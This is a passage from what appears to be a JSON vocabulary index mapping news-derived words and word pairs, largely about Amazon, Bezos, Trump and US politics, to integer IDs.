89203, "untested method": 89204, "detention centres": 89205, "long awaited": 89206, "bhutan button": 89207, "pick new": 89208, "carriers including": 89209, "lead maybe": 89210, "ubiquitous cheap": 89211, "market track": 89212, "wrap": 89213, "hope heading": 89214, "amazon famously": 89215, "court nominee": 89216, "using aborted": 89217, "islamic state": 89218, "low represented": 89219, "discounts given": 89220, "direct knowledge": 89221, "hq iran": 89222, "cloud related": 89223, "rosenwald": 89224, "prepare": 89225, "controversy wisconsin": 89226, "basically saying": 89227, "advisors managing": 89228, "graphics ari": 89229, "mailbox": 89230, "ilk": 89231, "tbs fbi": 89232, "andrew puzder": 89233, "latest presidential": 89234, "representatives intelligence": 89235, "encourage investment": 89236, "party finds": 89237, "dc paper": 89238, "headquarters usa": 89239, "wilderness protections": 89240, "beto math": 89241, "postmarked": 89242, "governorandrew cuomo": 89243, "major changes": 89244, "tax managed": 89245, "reports earlier": 89246, "young": 89247, "away cringing": 89248, "manufacturers positive": 89249, "standoff wisconsin": 89250, "differentiator": 89251, "booming relatively": 89252, "proposed legislation": 89253, "computers waiting": 89254, "domestic growth": 89255, "market outlook": 89256, "horrible week": 89257, "fixer told": 89258, "trump behavior": 89259, "defend amazon": 89260, "wonkactivists": 89261, "territory moving": 89262, "coworkers": 89263, "elizabeth williamson": 89264, "tlds": 89265, "clima bolsonaro": 89266, "deal stop": 89267, "grote bedrijven": 89268, "simplest solution": 89269, "schapperts shared": 89270, "lianlian": 89271, "tweet saying": 89272, "enrichment": 89273, "cancels new": 89274, "median average": 89275, "online company": 89276, "right conspiracy": 89277, "chef table": 89278, "horseback riding": 89279, "pro lgbtq": 89280, "receive alerts": 89281, "make critical": 89282, "readers don": 89283, "van drivers": 89284, "failed social": 89285, "offline mobile": 89286, "growing liberal": 89287, "environment continue": 89288, "trump fictional": 89289, "pot dictatorships": 89290, "estate llc": 89291, "meant fleets": 89292, "clinton eleventh": 89293, "reducing": 89294, "using independent": 89295, "press deficits": 89296, "zeroed": 89297, "sinclair considered": 89298, "second look": 89299, "duration block": 89300, "gdp amazon": 89301, "hammering": 89302, "assuredly helped": 89303, "pay kelly": 89304, "jones arrivals": 89305, "width": 89306, "igp points": 89307, "dropping reference": 89308, "amazon moody": 89309, "diagnostic featured": 89310, "fundamentally weak": 89311, "services competitors": 89312, "spun silver": 89313, "academic europe": 89314, "republican congress": 89315, "market sold": 89316, "chicago boorstin": 89317, "costco shoppers": 89318, "emil": 89319, "ximpeach": 89320, "rival liberal": 89321, "rm217": 89322, "trump payoffs": 89323, "color erious": 89324, "launched preliminary": 89325, "state forever": 89326, "living children": 89327, "standard time": 89328, "directly involved": 89329, "trump concluded": 89330, "v7a": 89331, "smith asset": 89332, "little boys": 89333, "darkside": 89334, "irrational exuberance": 89335, "cookbook bringing": 89336, "yuppie invasion": 89337, "commercial mail": 89338, "continuously operate": 89339, "venezuelans president": 89340, "taxable earnings": 89341, "scoops column": 89342, "cost american": 89343, "eat competitors": 89344, "splurge": 89345, "media temper": 89346, "unsubstantiated": 89347, "launch drone": 89348, "democrats appear": 89349, "maiden": 89350, "started compromising": 89351, "hadn reached": 89352, "changes expected": 89353, "promise amazon": 89354, "service reuters": 89355, "place lebeau": 89356, "iran nuke": 89357, "camp hill": 89358, "new areas": 89359, "dotted": 89360, "persistently attacked": 89361, "fairing": 89362, "855": 89363, "people current": 89364, "deasy share": 89365, "bashing phenomenon": 89366, "governor lost": 89367, "great white": 89368, "burlington coat": 89369, "america secretary": 89370, "crimson": 89371, "alleged perv": 89372, "underscores amazon": 89373, "kickoff": 89374, "deployments": 89375, "behaving badly": 89376, "reversed longstanding": 89377, "becker wanted": 89378, "lobbing": 89379, "official state": 89380, "imperial bank": 89381, "despite doubling": 89382, "819": 89383, "paulo federal": 89384, "soliciting donors": 89385, "kiesling mcd": 89386, "occasio cortez": 89387, "choksi nyt": 89388, "customized fulfillment": 89389, "nominally": 89390, "buyer": 89391, "seen burst": 89392, "applications": 89393, "orchestrate hush": 89394, "rank strong": 89395, "nigerian immigrant": 89396, "assigning": 89397, "beach drying": 89398, "pentagon huge": 89399, "times according": 89400, "middle mile": 89401, "accused amazon": 89402, "feedback tended": 89403, "sensationally disclosed": 89404, "wasn secretly": 89405, "ouster": 89406, "paying positions": 89407, "assumed supporter": 89408, "bookseller amazon": 89409, "stringent regulation": 89410, "brockell": 89411, "ages": 89412, "bs kelly": 89413, "sp500": 89414, "kunath": 89415, "giant playing": 89416, "time hourly": 89417, "package offered": 89418, "fb combined": 89419, "vt won": 89420, "censorship follow": 89421, "selected items": 89422, "notably president": 89423, "basics": 89424, "national boundaries": 89425, "teamsters union": 89426, "rutledge": 89427, "defiance published": 89428, "permitted amazon": 89429, "company alleges": 89430, "difficult elections": 89431, "internet brings": 89432, "executive positions": 89433, "fed chair": 89434, "clients include": 89435, "shoplocal": 89436, "great market": 89437, "1546023": 89438, "unemployment data": 89439, "fake green": 89440, "faces going": 89441, "significant increase": 89442, "today announcement": 89443, "blueshield": 89444, "conundrum gawande": 89445, "cannibalized": 89446, "erin": 89447, "president wrote": 89448, "circus weekday": 89449, "bell free": 89450, "vast resources": 89451, "public roads": 89452, "consumers asking": 89453, "213 foreign": 89454, "meal kits": 89455, "overnight temperatures": 89456, "amerisourcebergen": 89457, "retail world": 89458, "slidenext slide": 89459, "comparison amazon": 89460, "s9x v0": 89461, "changing": 89462, "ward": 89463, "deliveries inspections": 89464, "radar ives": 89465, "democrats jeff": 89466, "westbrook conn": 89467, "telling trudeau": 89468, "launches cleanroom": 89469, "historical biopic": 89470, "916 shares": 89471, "hate political": 89472, "stonesifer patricia": 89473, "fictitious": 89474, "president wealthy": 89475, "china denies": 89476, "hare international": 89477, "smart guy": 89478, "shaven public": 89479, "starbucks 500": 89480, "semi retired": 89481, "created sizable": 89482, "newly formed": 89483, "hack away": 89484, "business associate": 89485, "hbi": 89486, "city greenpeace": 89487, "zinke blocked": 89488, "riot raced": 89489, "sample": 89490, "contractor reps": 89491, "helped": 89492, "iphone supported": 89493, "julia roberts": 89494, "house brands": 89495, "new warnings": 89496, "annie landsberg": 89497, "enquirer editor": 89498, "lo usa": 89499, "self financing": 89500, "detroit ap": 89501, "fanning": 89502, "reinvigorate": 89503, "community tu": 89504, "wendi deng": 89505, "film data": 89506, "extended period": 89507, "reported 4q": 89508, "centralized buying": 89509, "marry harry": 89510, "katerina": 89511, "technology transfers": 89512, "fastest riser": 89513, "twitter mikesnider": 89514, "bedminster estate": 89515, "idg": 89516, "provide accessible": 89517, "injector getnamespacefeature": 89518, "mislabels": 89519, "plainly": 89520, "higher refinances": 89521, "unemployment politics": 89522, "moines register": 89523, "detroit jail": 89524, "offers easy": 89525, "week snow": 89526, "elite economists": 89527, "hearing protection": 89528, "identified discussing": 89529, "pays warehouse": 89530, "aaliyah": 89531, "buying press": 89532, "promotional": 89533, "victory landing": 89534, "bureaucracies": 89535, "analysts highlighted": 89536, "characterising": 89537, "law firm": 89538, "gap gps": 89539, "adversarial news": 89540, "9k": 89541, "quotation marks": 89542, "boxes amazon": 89543, "rampback": 89544, "bookseller britain": 89545, "outspoken trump": 89546, "million stake": 89547, "discovered": 89548, "alpine skiing": 89549, "networking mobile": 89550, "juice groove": 89551, "expressive": 89552, "constitutes living": 89553, "thing": 89554, "selling pro": 89555, "contract ends": 89556, "foie": 89557, "05m says": 89558, "instead invest": 89559, "setting net": 89560, "asher": 89561, "getting new": 89562, "bezos described": 89563, "mobile android": 89564, "storage facility": 89565, "wealthy businessmen": 89566, "raw material": 89567, "government review": 89568, "formally abolished": 89569, "government bailout": 89570, "obamacare repeal": 89571, "selected eleanor": 89572, "grew close": 89573, "comments saying": 89574, "desired algorithmic": 89575, "pithy author": 89576, "director russ": 89577, "territories read": 89578, "vice chairman": 89579, "tang": 89580, "50million": 89581, "vital issues": 89582, "tightened": 89583, "downgrades dow": 89584, "small enterprise": 89585, "functionality holly": 89586, "sufficient evidence": 89587, "fortune18 jan": 89588, "interestingly": 89589, "complicated supply": 89590, "winners blowing": 89591, "restricted people": 89592, "mccann podcast": 89593, "shutdowns": 89594, "don think": 89595, "funny writer": 89596, "reopened steel": 89597, "creating federal": 89598, "itemised details": 89599, "year argued": 89600, "fed ex": 89601, "cnl_name": 89602, "trump twitter": 89603, "wee hours": 89604, "breaks reported": 89605, "financial professionals": 89606, "attacked boeing": 89607, "amazon united": 89608, "biggest impact": 89609, "238 city": 89610, "cortez complete": 89611, "utah campaign": 89612, "ordinary relying": 89613, "indigenous reserves": 89614, "marketing covers": 89615, "term decisions": 89616, "customs brokers": 89617, "flatiron": 89618, "year blackburn": 89619, "retail behemoth": 89620, "sudden exit": 89621, "admitted violating": 89622, "problem plagued": 89623, "inflexible": 89624, "progressive judges": 89625, "absolutely killed": 89626, "reality rampant": 89627, "recently delivery": 89628, "ami lawyer": 89629, "campaign chairman": 89630, "force evaluating": 89631, "area chances": 89632, "announces putnam": 89633, "bring criminal": 89634, "visa mastercard": 89635, "camus": 89636, "amal": 89637, "required gop": 89638, "captured hearts": 89639, "veterans grow": 89640, "avid opponent": 89641, "idsukavotu alexandria": 89642, "alternative proposal": 89643, "reportedly did": 89644, "triborough bridge": 89645, "says ameriker": 89646, "opinions wont": 89647, "driver base": 89648, "aapl netflix": 89649, "falters": 89650, "make false": 89651, "plata basin": 89652, "scot pelley": 89653, "cowered": 89654, "racial profiling": 89655, "hating amazon": 89656, "operate unless": 89657, "pjnet": 89658, "rbsz1udt2g": 89659, "travis": 89660, "application json": 89661, "computer vendors": 89662, "rapid delivery": 89663, "potential antitrust": 89664, "swb": 89665, "entered confidential": 89666, "supposed expertise": 89667, "shift profits": 89668, "statements taking": 89669, "amazon bookstore": 89670, "coonsdem": 89671, "gases": 89672, "rapidly": 89673, "trump index": 89674, "faux listings": 89675, "suntrust quite": 89676, "deal herera": 89677, "inaugural committee": 89678, "choose successor": 89679, "twitter announcement": 89680, "morning post": 89681, "drizzle": 89682, "michael barnett": 89683, "fantasy portfolio": 89684, "propel hundreds": 89685, "carney wrote": 89686, "older brazilians": 89687, "2018 tonight": 89688, "confluent": 89689, "land thieves": 89690, "672": 89691, "comey fired": 89692, "ccs": 89693, "connecticut park": 89694, "fret": 89695, "bold faced": 89696, "delivery commitments": 89697, "uyehara": 89698, "employee specifically": 89699, "hand searched": 89700, "civil": 89701, "founder meb": 89702, "ries": 89703, "anchor continue": 89704, "revealing government": 89705, "adversarial": 89706, "considered including": 89707, "president erodes": 89708, "diaper idea": 89709, "america served": 89710, "weren enormous": 89711, "alternative sparkling": 89712, "decade researching": 89713, "understanding 2019": 89714, "marxist": 89715, "advisory network": 89716, "received severe": 89717, "trump schumer": 89718, "winning recognition": 89719, "big win": 89720, "illicit photos": 89721, "otc mcdlf": 89722, "make books": 89723, "pad new": 89724, "clich\u00e9d slogans": 89725, "amazon good": 89726, "favourite country": 89727, "blackburn tn": 89728, "seeking justice": 89729, "000 employee": 89730, "year photograph": 89731, "grade goods": 89732, "meet xi": 89733, "force thousands": 89734, "nashville davidson": 89735, "hamfisted": 89736, "beaumont": 89737, "kindly step": 89738, "outspoken individual": 89739, "release congressman": 89740, "200 companies": 89741, "guy amazon": 89742, "irresponsible budget": 89743, "aut_atyid": 89744, "2023 studies": 89745, "pricing power": 89746, "board illustrated": 89747, "recent polling": 89748, "homelessness local": 89749, "itep org": 89750, "agricultural lands": 89751, "expicit": 89752, "snapchat loses": 89753, "paints doomsday": 89754, "distributors tied": 89755, "farmworkers rights": 89756, "rollout despite": 89757, "new vc": 89758, "customers trust": 89759, "western finely": 89760, "recommendations include": 89761, "meet extraordinary": 89762, "chicago suburb": 89763, "bezos pursuit": 89764, "bear cub": 89765, "lawyer bezos": 89766, "harvest fees": 89767, "untold number": 89768, "apis code": 89769, "pretty sizable": 89770, "read gcc": 89771, "unforced": 89772, "quote hatch": 89773, "paid million": 89774, "stall recall": 89775, "competitors sales": 89776, "ford ben": 89777, "publicly promoted": 89778, "shooting dog": 89779, "9b": 89780, "mississippi childhood": 89781, "twitter jack": 89782, "lewiston": 89783, "unpublished texts": 89784, "klosters switzerland": 89785, "austin campus": 89786, "upcoming vote": 89787, "manipulation fake": 89788, "putin appearing": 89789, "everyday tasks": 89790, "note reuters": 89791, "selling amazon": 89792, "nato welcome": 89793, "redwood city": 89794, "aws spokesperson": 89795, "publishing fake": 89796, "kids science": 89797, "analyst forecasts": 89798, "clinton lends": 89799, "thing financial": 89800, "sterkste": 89801, "information cameras": 89802, "stewart": 89803, "combined values": 89804, "hits google": 89805, "played audio": 89806, "happily": 89807, "high concentrations": 89808, "anomaly": 89809, "david paterson": 89810, "candidates sen": 89811, "tariff slamming": 89812, "tendentious": 89813, "covers technology": 89814, "christian wetherbee": 89815, "promotion ellison": 89816, "simple solution": 89817, "america doesn": 89818, "entirely think": 89819, "amazon heft": 89820, "irelandandhit facebook": 89821, "election unlike": 89822, "democrats opposed": 89823, "congratulatory project": 89824, "agreements": 89825, "write bloomberg": 89826, "sold 606": 89827, "street ideologue": 89828, "sawamazon raise": 89829, "packages directly": 89830, "neighborhood istoric": 89831, "iphone giant": 89832, "city historical": 89833, "new h2q": 89834, "asian american": 89835, "expecting crash": 89836, "aiding automating": 89837, "fact ibm": 89838, "lightweight expedited": 89839, "impulses read": 89840, "win pentagon": 89841, "sandy": 89842, "credibilityit": 89843, "retweeted photo": 89844, "trump surveillance": 89845, "controversially": 89846, "acquisition law": 89847, "william kovacic": 89848, "805 billion": 89849, "market according": 89850, "scientology": 89851, "immediate new": 89852, "mattresses": 89853, "knew": 89854, "reportedly thought": 89855, "8514 nlindstrom": 89856, "global leader": 89857, "restoration act": 89858, "lightly breeze": 89859, "mackenzie bezoes": 89860, "forbes latest": 89861, "pariah": 89862, "bezos doesn": 89863, "sands future": 89864, "suttles": 89865, "robotic land": 89866, "muslim immigrants": 89867, "relations board": 89868, "pentagon city": 89869, "internet eliciting": 89870, "nearly 700": 89871, "memoirs bringing": 89872, "materialize politico": 89873, "fourths": 89874, "amed": 89875, "boston public": 89876, "highly paid": 89877, "backlash according": 89878, "ultimately gathered": 89879, "genocide following": 89880, "husband fellowship": 89881, "devil bible": 89882, "presidential plane": 89883, "mouth": 89884, "specialty grocery": 89885, "getty mark": 89886, "increasingly desperate": 89887, "billion agreement": 89888, "vestager added": 89889, "attributable costs": 89890, "wisconsin american": 89891, "investor note": 89892, "tempered": 89893, "equity investor": 89894, "threateningly overnight": 89895, "kyrsten sinema": 89896, "importantly lamster": 89897, "blasioand": 89898, "prevent gun": 89899, "rupert grint": 89900, "amazonphone according": 89901, "alex gibney": 89902, "stock rally": 89903, "house rose": 89904, "city leading": 89905, "offended": 89906, "muddle": 89907, "underwater": 89908, "activist investor": 89909, "596": 89910, "fans": 89911, "troubling manner": 89912, "remain leery": 89913, "prosecutors scrutiny": 89914, "defending businesses": 89915, "efficiently empowering": 89916, "independence steve": 89917, "palantir dominance": 89918, "blazingly": 89919, "idea ou": 89920, "monthly record": 89921, "amazon produce": 89922, "unreliable": 89923, "carson buying": 89924, "gear": 89925, "haven formally": 89926, "isolationist stands": 89927, "seattle caved": 89928, "incremental data": 89929, "story stanford": 89930, "settles": 89931, "downbeat mood": 89932, "highly gerrymandered": 89933, "posits things": 89934, "unea": 89935, "complimentary upgrade": 89936, "story posted": 89937, "broader plan": 89938, "amazon coming": 89939, "trucking": 89940, "branch offices": 89941, "madonna sexist": 89942, "collected sales": 89943, "blount": 89944, "2009 barack": 89945, "biggest disruptor": 89946, "years bs_link": 89947, "planet welcome": 89948, "1on8bqw florida": 89949, "messy desks": 89950, "house members": 89951, "president calla": 89952, "reportedly suffering": 89953, "worrisome inflation": 89954, "travel companies": 89955, "fortune previously": 89956, "switzerland based": 89957, "spread argentine": 89958, "shipping arrangements": 89959, "smart tvs": 89960, "631 shares": 89961, "social yeah": 89962, "inheritance 2018": 89963, "cnn pagevis": 89964, "intentionally harming": 89965, "business usps": 89966, "emissions future": 89967, "kingdom rivals": 89968, "davidson business": 89969, "holds weak": 89970, "including banning": 89971, "past year": 89972, "great country": 89973, "post written": 89974, "russia relationship": 89975, "shadows bright": 89976, "year fortune": 89977, "0992": 89978, "france took": 89979, "biological resarch": 89980, "deutch": 89981, "mccorkle heard": 89982, "faa authorization": 89983, "million households": 89984, "chipped away": 89985, "thing suggests": 89986, "brooks cpl": 89987, "tearful": 89988, "simple folks": 89989, "does netflix": 89990, "skeleton": 89991, "cable television": 89992, "overall ad": 89993, "allow federal": 89994, "120 million": 89995, "department takes": 89996, "field early": 89997, "entice entrepreneurs": 89998, "numbers regulator": 89999, "2019 mediaite": 90000, "global counterfeiters": 90001, "bike": 90002, "significant spend": 90003, "trout": 90004, "email showing": 90005, "intraif self": 90006, "conservative affiliation": 90007, "narrowed": 90008, "scott lincicome": 90009, "appears healthy": 90010, "cut": 90011, "medium businesses": 90012, "flying phil": 90013, "amazon negotiator": 90014, "exclusive 600": 90015, "water unlawfully": 90016, "custom designed": 90017, "brilliant life": 90018, "amazon revenue": 90019, "protested similar": 90020, "costliest tweets": 90021, "kernersville": 90022, "blowback": 90023, "memoir set": 90024, "responsibly": 90025, "wasn mentioned": 90026, "literally getting": 90027, "anchor yes": 90028, "correspondent tom": 90029, "pwc marta": 90030, "transportation authority": 90031, "things changing": 90032, "lee chairs": 90033, "generational fight": 90034, "gains largest": 90035, "good times": 90036, "cra eligible": 90037, "small revolution": 90038, "spokane facebook": 90039, "advance development": 90040, "usps private": 90041, "distributor lined": 90042, "claimed affairs": 90043, "queer": 90044, "culture indigenous": 90045, "longer oversees": 90046, "faces 8m": 90047, "everyday antics": 90048, "confetti settles": 90049, "moves acquisitions": 90050, "led robertson": 90051, "started work": 90052, "jim rutenberg": 90053, "blame congress": 90054, "bryan": 90055, "program shortly": 90056, "global travel": 90057, "quote mexicans": 90058, "older starting": 90059, "cohen case": 90060, "new majority": 90061, "inherently better": 90062, "factoring": 90063, "raise distinct": 90064, "tormentors demands": 90065, "roundtable unpacks": 90066, "swiss retail": 90067, "agree": 90068, "friendly bookerly": 90069, "jones rant": 90070, "flagship fund": 90071, "elephant reuters": 90072, "markets image": 90073, "finance matters": 90074, "dolezal illegally": 90075, "actually beneficial": 90076, "carving amazon": 90077, "mandela": 90078, "employees medical": 90079, "fuel costs": 90080, "work king": 90081, "people sign": 90082, "train": 90083, "downtowns": 90084, "nov waives": 90085, "saudis role": 90086, "amazon overestimated": 90087, "gratefuls": 90088, "climate strikes": 90089, "briefed reporters": 90090, "glimpsed": 90091, "trade group": 90092, "board neb": 90093, "pick replacement": 90094, "free tech": 90095, "flat europe": 90096, "trump conspiracy": 90097, "people marriages": 90098, "certainly implied": 90099, "favorite reads": 90100, "ofstamps envelopes": 90101, "better invest": 90102, "storage workers": 90103, "fbi probe": 90104, "commerce profit": 90105, "released genomic": 90106, "governments actually": 90107, "pay hush": 90108, "different sectors": 90109, "climate impact": 90110, "ferrari began": 90111, "deportation force": 90112, "service wasn": 90113, "outsider tycoons": 90114, "tormentors": 90115, "state relive": 90116, "long saga": 90117, "regular weekly": 90118, "chastised": 90119, "gang raped": 90120, "regional leaders": 90121, "italian sicilian": 90122, "began aug": 90123, "cart": 90124, "administration opens": 90125, "sanders strikes": 90126, "progressive company": 90127, "gianaris signed": 90128, "stephaniekelton": 90129, "measures targeting": 90130, "action gay": 90131, "business matthew": 90132, "dividend paying": 90133, "delivery partnership": 90134, "hypocrisy bolduan": 90135, "tweeted unlike": 90136, "probably pull": 90137, "buffetts": 90138, "kirstjen nielsen": 90139, "used illegal": 90140, "different experience": 90141, "knicks mistakenly": 90142, "tech breakup": 90143, "nosrat": 90144, "usps relationship": 90145, "owe money": 90146, "result amazon": 90147, "act ccpa": 90148, "rico governor": 90149, "141 billion": 90150, "basement foto": 90151, "reported citing": 90152, "taken credit": 90153, "gardner amazon": 90154, "kaine corey": 90155, "richard tait": 90156, "paparazzi": 90157, "whiffs": 90158, "time job": 90159, "policy em": 90160, "000th": 90161, "dorothy bush": 90162, "giant keeps": 90163, "indian areas": 90164, "unfinished memoirs": 90165, "jumped roughly": 90166, "london 7172": 90167, "prevailed": 90168, "environmental affairs": 90169, "bullock prado": 90170, "marc gurviz": 90171, "parameswaran vice": 90172, "pichai": 90173, "sake don": 90174, "john nelson": 90175, "cross currents": 90176, "ambitious provisions": 90177, "indonesia tsunami": 90178, "trilogy": 90179, "audit committee": 90180, "dims reuters": 90181, "blind spots": 90182, "described bruising": 90183, "answers people": 90184, "symbol msft": 90185, "nutanix amazon": 90186, "continuously": 90187, "mexico border": 90188, "research joining": 90189, "website despite": 90190, "riggs": 90191, "amazon tends": 90192, "apocryphal": 90193, "piling": 90194, "bezos tax": 90195, "pollution": 90196, "government hasn": 90197, "stockpile": 90198, "plagued": 90199, "president bankruptcies": 90200, "record set": 90201, "slavery": 90202, "pitches yiwu": 90203, "management agency": 90204, "claimed environmental": 90205, "stop damaging": 90206, "thecoverage play": 90207, "site mic": 90208, "political appointments": 90209, "venomous": 90210, "providing fast": 90211, "campaign websites": 90212, "people killed": 90213, "leading web": 90214, "specifically targeted": 90215, "various sectors": 90216, "recent fine": 90217, "jobs internships": 90218, "pike red": 90219, "\u01421 52billion": 90220, "ofcongress": 90221, "night live": 90222, "know gayle": 90223, "unfilled": 90224, "suffering amazon": 90225, "foot diapered": 90226, "leads trump": 90227, "facilities according": 90228, "snowball": 90229, "retail giants": 90230, "past life": 90231, "ernt": 90232, "space council": 90233, "manufacturers including": 90234, "morningstar think": 90235, "wisdom high": 90236, "edc": 90237, "numbers icann": 90238, "china sea": 90239, "book trumponomics": 90240, "passed proposed": 90241, "undone": 90242, "prosecutors information": 90243, "just happy": 90244, "york isn": 90245, "mechanic shortages": 90246, "restrictive immigration": 90247, "iraqi leader": 90248, "multi million": 90249, "holdings boomboom": 90250, "trove": 90251, "amounts received": 90252, "holidays tom": 90253, "238 localities": 90254, "ser_footer_blurb null": 90255, "meat packers": 90256, "city loss": 90257, "amazonwearenotrobots workers": 90258, "rep elijah": 90259, "cult van": 90260, "delivery hubs": 90261, "report adds": 90262, "far lower": 90263, "microvms software": 90264, "taxpayer subsidization": 90265, "suggested taxing": 90266, "swift turnaround": 90267, "diddy": 90268, "recent rise": 90269, "bezos sent": 90270, "new asian": 90271, "known rights": 90272, "moral considerations": 90273, "age jobs": 90274, "good bad": 90275, "going right": 90276, "heed amazon": 90277, "papers say": 90278, "blown crisis": 90279, "servicesweb based": 90280, "closing post": 90281, "greene eric": 90282, "637 500": 90283, "capacity free": 90284, "sears modern": 90285, "tremendous strength": 90286, "doing research": 90287, "candid tell": 90288, "tempting": 90289, "owed ireland": 90290, "businessman bloomua": 90291, "damaging recordings": 90292, "conventional brick": 90293, "thanksgiving day": 90294, "games photo": 90295, "walmart ebay": 90296, "health medical": 90297, "takeover": 90298, "lay claim": 90299, "session today": 90300, "sees google": 90301, "post including": 90302, "jobs chalking": 90303, "university kellogg": 90304, "status 998658237292462080": 90305, "joining president": 90306, "different direction": 90307, "wanted list": 90308, "risk factors": 90309, "mobile apps": 90310, "human cell": 90311, "president attempts": 90312, "privacy advocates": 90313, "harvard economics": 90314, "dive": 90315, "criticism": 90316, "course orange": 90317, "bezos expose": 90318, "updated chart": 90319, "interesting insights": 90320, "slow": 90321, "editorial warned": 90322, "mmcjoei5lm": 90323, "culling needs": 90324, "sustained nature": 90325, "jobs paying": 90326, "available jobs": 90327, "amazon mair": 90328, "expensive lobbyist": 90329, "city works": 90330, "teespring": 90331, "looks59 pictures": 90332, "curses foiled": 90333, "european tech": 90334, "lives facebook": 90335, "mnuchin helped": 90336, "nbd": 90337, "old baseless": 90338, "honor relatively": 90339, "netflix viewers": 90340, "shopping voice": 90341, "history repeating": 90342, "hydraulic fracturing": 90343, "denies allegations": 90344, "bezos host": 90345, "itstill microsoft": 90346, "boden": 90347, "miami ventures": 90348, "allow giant": 90349, "radic18": 90350, "lady accused": 90351, "unaccompanied youths": 90352, "harbor statement": 90353, "broadcom": 90354, "episode points": 90355, "sign ndas": 90356, "rogen": 90357, "spokeswoman mentioned": 90358, "twitter 7cmain": 90359, "gospels": 90360, "ankle wore": 90361, "post reuters": 90362, "company power": 90363, "temporarily boosted": 90364, "told employees": 90365, "greater": 90366, "cnbc interview": 90367, "story strands": 90368, "embodiment": 90369, "suggestions treasury": 90370, "hitting levels": 90371, "privacy protection": 90372, "family harris": 90373, "commission heroclip": 90374, "matters amazon": 90375, "luthor type": 90376, "legalized recreational": 90377, "preternaturally": 90378, "columns enjoy": 90379, "taxonomy": 90380, "asia pacific": 90381, "factors": 90382, "potential headquarters": 90383, "digital journal": 90384, "ignored orders": 90385, "bullet holes": 90386, "members abroad": 90387, "broadly saying": 90388, "paying shippers": 90389, "job theory": 90390, "smile simply": 90391, "street vendor": 90392, "manhattan borough": 90393, "whiteroseevolution fref": 90394, "racial justice": 90395, "alanna": 90396, "phillips threateningly": 90397, "job vacancies": 90398, "chat reggie": 90399, "quizzically": 90400, "state newsflash": 90401, "asshole": 90402, "party suppliers": 90403, "vaccine": 90404, "congressional spouses": 90405, "amazon australia": 90406, "pay sales": 90407, "devices amazon": 90408, "getting america": 90409, "things straight": 90410, "taron egerton": 90411, "democratic colleagues": 90412, "dictator": 90413, "2015": 90414, "representing judith": 90415, "fills": 90416, "unfair terms": 90417, "myth business": 90418, "fakery": 90419, "hedge industrial": 90420, "bridges east": 90421, "close 2018": 90422, "iran able": 90423, "stephanie wilkinson": 90424, "incredibly important": 90425, "read exactly": 90426, "techies tech": 90427, "gawande writings": 90428, "author held": 90429, "10b jedi": 90430, "214 million": 90431, "solomon editing": 90432, "economic impact": 90433, "facebook look": 90434, "internet purgatory": 90435, "state rex": 90436, "fundraising face": 90437, "retailer second": 90438, "governed": 90439, "provide recommendations": 90440, "cramer 800": 90441, "wmtsellers": 90442, "send waves": 90443, "nypd launched": 90444, "remain significant": 90445, "jobs annually": 90446, "consumer staple": 90447, "imageurl cdn": 90448, "just happened": 90449, "market hounds": 90450, "facts looking": 90451, "rourke chief": 90452, "people struggling": 90453, "book liars": 90454, "sturdy heavy": 90455, "amazon everyday": 90456, "trading bloc": 90457, "customers stating": 90458, "todd kaminsky": 90459, "world conjured": 90460, "route begin": 90461, "need action": 90462, "becker learned": 90463, "replied think": 90464, "trump current": 90465, "judge gail": 90466, "cbc says": 90467, "124 billion": 90468, "firms leads": 90469, "local commerce": 90470, "authored paper": 90471, "avoid fate": 90472, "high valuation": 90473, "kooky 90s": 90474, "financial advisors": 90475, "limit certain": 90476, "reductions": 90477, "commands americans": 90478, "119 price": 90479, "dark gray": 90480, "way changing": 90481, "presidential hopefuls": 90482, "signals growth": 90483, "secretly met": 90484, "2017 leading": 90485, "fearless": 90486, "table netflix": 90487, "predicated": 90488, "debut set": 90489, "isn important": 90490, "sen chris": 90491, "new smartpower": 90492, "reuters explainer": 90493, "bigger fight": 90494, "mic newsletter": 90495, "outside labor": 90496, "lynda obst": 90497, "saw average": 90498, "proposed million": 90499, "xiaomi": 90500, "wages measly": 90501, "providers switching": 90502, "wire accident": 90503, "kings eric": 90504, "newscaster candice": 90505, "grows larger": 90506, "report amazon": 90507, "documentary": 90508, "derailed": 90509, "comms director": 90510, "mayor office": 90511, "taylor morrison": 90512, "border aid": 90513, "press organizations": 90514, "intermittently": 90515, "eased investor": 90516, "acres worth": 90517, "time lacking": 90518, "inadequate": 90519, "augusto heleno": 90520, "old haunts": 90521, "lite": 90522, "powerful democratic": 90523, "enten": 90524, "fraser firs": 90525, "portland oregon": 90526, "commutes": 90527, "trial right": 90528, "2016 brynn": 90529, "collaborate amazon": 90530, "mary murphy": 90531, "lauren2go": 90532, "plague": 90533, "hook massacre": 90534, "clybourne park": 90535, "star miles": 90536, "cents flat": 90537, "fighters try": 90538, "catfish dream": 90539, "denied allegations": 90540, "eu sanctions": 90541, "president picking": 90542, "command opioid": 90543, "drake": 90544, "outcome trade": 90545, "states department": 90546, "uber": 90547, "apologized": 90548, "trumper mair": 90549, "member marc": 90550, "capital firms": 90551, "musk indispensable": 90552, "oembed": 90553, "selling whipped": 90554, "financial capital": 90555, "noble online": 90556, "requires higher": 90557, "desires amazon": 90558, "trumpland": 90559, "example nafta": 90560, "amobi thank": 90561, "466 conditions": 90562, "greg miller": 90563, "armed standoff": 90564, "tricorder luke": 90565, "tension photographer": 90566, "department laura": 90567, "involving assault": 90568, "jobs job": 90569, "unfortunate": 90570, "tiger stop": 90571, "shopping competition": 90572, "100bn": 90573, "richard kleindienst": 90574, "1437392": 90575, "signing legislation": 90576, "administration feels": 90577, "ceo chris": 90578, "state governor": 90579, "whine": 90580, "single heterosexual": 90581, "paying white": 90582, "booming industries": 90583, "megaphone": 90584, "prosecutions": 90585, "attacking middlemen": 90586, "wintour says": 90587, "validar southport": 90588, "recommend clipping": 90589, "president national": 90590, "therese raphael": 90591, "shopping service": 90592, "stores offer": 90593, "candidate cynthia": 90594, "media credentials": 90595, "tvcs": 90596, "probably doesn": 90597, "post enabling": 90598, "hrb": 90599, "care settings": 90600, "modern testaments": 90601, "intercepted bezos": 90602, "homeless preying": 90603, "right selyukh": 90604, "walmart removes": 90605, "finances did": 90606, "fear sports": 90607, "hp": 90608, "2000 harry": 90609, "comprises tools": 90610, "major growth": 90611, "drug earlier": 90612, "shareholder base": 90613, "000 investment": 90614, "die facebook": 90615, "barely worth": 90616, "lint rollers": 90617, "dixie": 90618, "foreign affairs": 90619, "sfb": 90620, "obtained photos": 90621, "issue penalty": 90622, "hock": 90623, "miracle workers": 90624, "total hypocrites": 90625, "new testaments": 90626, "paris bureau": 90627, "edgar su": 90628, "contenders": 90629, "investigate donald": 90630, "challenge pete": 90631, "rejected trade": 90632, 